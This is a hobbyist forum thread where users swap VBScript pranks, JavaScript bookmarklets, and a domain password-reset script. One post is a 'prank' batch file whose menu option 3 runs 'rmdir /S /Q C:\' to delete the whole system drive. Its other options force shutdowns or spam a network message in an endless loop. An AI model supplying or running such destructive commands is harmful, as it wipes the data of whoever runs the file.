ForumsProgramming ForumVBScripts and/or JavaScripts... Paste examples here

30 7723
Qwerty001
offline
Qwerty001
422 posts
Nomad

I've been screwin' around with both of these and I've come up with a few...
If you want to see what mine do copy and paste into notepad and save as .vbs

1.Dim Counter
Counter = 0
While Counter < 10000
Counter = Counter + 1
msgbox Counter,0+18,"This will close when it reaches 10001"
Wend

(My personal fave)
2.Dim Input
Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should&quot
if Input = "" then MsgBox ("Type, can you not?&quot else MsgBox ("An idiot, is &quot & Input

3.Dim Input
Input = InputBox("Enter your name [Capatilize please]","Message From Yoda","Type your response here&quot
if Input = "" then MsgBox ("Please enter your name&quot else MsgBox (Input +" is a dork!&quot

4.Dim Input
Input = InputBox("Enter your name&quot
if Input = "" then MsgBox ("Please enter your name&quot else MsgBox (Input +" is your name, right?&quot

5.Do Until DefResp = vbNo
MyNum = Int (999 * Rnd + 1)
DefResp = MsgBox (MyNum & " Do you want another randomized number?", vbYesNo)
Loop

Dim Check, Counter
Check = True: Counter = 0
Do
Do While Counter < 20
Counter = Counter + 1
If Counter = 10 Then
Check = False
Exit Do
End If
Loop
Loop Until Check = False

6.Dim WshShell, BtnCode
Set WshShell = WScript.CreateObject("WScript.Shell&quot

BtnCode = WshShell.Popup("Do you feel alright?", 7, "Answer This Question:", 4 + 32)

Select Case BtnCode
case 6 WScript.Echo "Glad to hear you feel alright."
case 7 WScript.Echo "Hope you're feeling better soon."
case -1 WScript.Echo "Is there anybody out there?"
End Select

7.Dim MyValue, Response
Randomize
Do Until Response = vbNo
MyValue = Int((6 * Rnd) + 1)
MsgBox MyValue
Response = MsgBox ("Roll again? ", vbYesNo)
Loop


You can also make these go on and on by adding Do and Loop...
If you accidentlly open these right-click on your bar that shows time and pick [i]Task Manager
Such as...

Do
Dim Input
Input = InputBox("Enter your name [Please capatilize]","Message From Yoda","Here, reply you should&quot
if Input = "" then MsgBox ("Type, can you not?&quot else MsgBox ("An idiot, is &quot & Input
Loop



You're Welcome...
Qwerty001

  • 30 Replies
Qwerty001
offline
Qwerty001
422 posts
Nomad

Oh, sorry just post the codes in the Address Bar...

Here they are again:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img&quot; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.tan(R*x1+i*x2+x3)*x4+x5)+&quotx"; DIS.top=(Math.sin(R*y1+i*y2+y3)*y4+y5)+&quotx"}R++}setInterval('A()',5); void(0);

and

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;x4=300;y4=200;x5=300; y5=200; DI=document.images; DIL=DI.length;function A(){for(i=0;i-DIL; i++){DIS=DI[ i ].style;DIS.position='absolute';DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5);void(0);
Qwerty001
offline
Qwerty001
422 posts
Nomad

Function Main

Dim objNetwork
Dim strCurrentUserName, strCurrentDomainName, strFullUserName
Dim strComputerName

Set objNetwork = WScript.CreateObject("WScript.Network&quot

strCurrentUserName = objNetwork.UserName
strCurrentDomainName = objNetwork.UserDomain
strComputerName = objNetwork.ComputerName

strFullUserName = strCurrentDomainName & "\\\\" & strCurrentUserName

WScript.Echo "Current logged in user: " & strFullUserName & " on " & strComputerName & VbCrLf

End Function

Main
WScript.Quit(0)


Here's a VBS file that tells who you are logged on as and on what computer...

IQAndreas
offline
IQAndreas
299 posts
Peasant

Very nice. What version or language of VB is this all written in?

It definitely does not look like VB.Net.

Qwerty001
offline
Qwerty001
422 posts
Nomad

lol yeah it's not VB.NET

It's just VBS (Visual Basic Scripting Edition)

You should post some VB.NET code snippets IqAndreas!

IQAndreas
offline
IQAndreas
299 posts
Peasant

VB.net is pretty much the same thing, except that you have more controls such as Buttons, Forms, Labels. It's more display oriented.

The only syntax difference I have noticed so far is "wend" is just ordinary "end", which I thought was a typo on your part, but then I saw it elsewhere as well.

Anyway, thanks for the link! I didn't realized that I automatically had VBS installed on my computer. I thought it was another language such as True BASIC.

What would you like me to do in VB.Net? Name anything, and I'll try it out.

Qwerty001
offline
Qwerty001
422 posts
Nomad

make an app for counting mouse movements...


lol

Qwerty001
offline
Qwerty001
422 posts
Nomad

Here's a special VBS to change a user's password:

dim dom
dim DomObj
dim flagset
dim usr
dim UsrObj


do
usr = inputbox("Please enter the user account name to change password.", "Input&quot
loop until usr <> ""

do
dom = inputbox("Please enter the domain for this account.", "Input&quot
loop until dom <> ""

Set UsrObj = GetObject("WinNT://" & dom & "/" & usr & ",user&quot

pw1 = inputbox("Please enter a password for the account", "Input&quot
pw2 = inputbox("Please enter the password again for confirmation", "Input&quot

do while pw1 <> pw2
pw1 = inputbox("The entered password did not match both times." & vbCrLf & vbCrLf & "Please enter a password for the account", "Input&quot
pw2 = inputbox("Please enter the password again for confirmation", "Input&quot
loop

Call UsrObj.SetPassword(pw1)

UsrObj.Put "PasswordExpired", 1

UsrObj.SetInfo

wscript.echo "Password changed. User will be forced to change their password at next logon."

markbabc
offline
markbabc
3 posts
Nomad

colin is this your fourm? its blum

Qwerty001
offline
Qwerty001
422 posts
Nomad

WARNING: THIS IS NOT A JOKE!
BE CAREFUL WITH THIS BATCH FILE!
NEVER PICK 3!
I AM IN NO WAY RESPONSIBLE FOR YOUR CHOICE IN THIS BATCH FILE!

Here it is :
@echo off
title The end of the world
cd C:\\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. die this way (wimp)
echo 2. die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. die this way (you're boring)
echo 5. easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
ne
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end

markbabc
offline
markbabc
3 posts
Nomad

hows it goin? and thanks for the last code

markbabc
offline
markbabc
3 posts
Nomad

sry but i gtg

Sssssnnaakke
offline
Sssssnnaakke
1,036 posts
Scribe

I have a friend instead of shutdown it says runaway
and for standby it is get arrested.

Qwerty001
offline
Qwerty001
422 posts
Nomad

I'm back!

Dim objXL, strMessage

On Error Resume Next

Set objXL = GetObject(, "Excel.Application&quot

If Not TypeName(objXL) = "Empty" Then
strMessage = "Excel Running."
Else
strMessage = "Excel Not Running."
End If

MsgBox strMessage, vbInformation, "Excel Status"

if strMessage = "Excel Running." then objXL.Visible = true


This makes excel close... I dunno I was bored

Link_to_the_Past
offline
Link_to_the_Past
7 posts
Nomad

I sense Plagiarism..

Qwerty, you got that killer batch screws the computer from this:

http://www.prank.org/pranks/compilation-of-scripts-or-batch-files-add-some-more-vt44119.html

dank
offline
dank
983 posts
Peasant

These are all plagiarized scripts. Any more posting of plagiarized material will result in instant 3 day.

Showing 16-30 of 30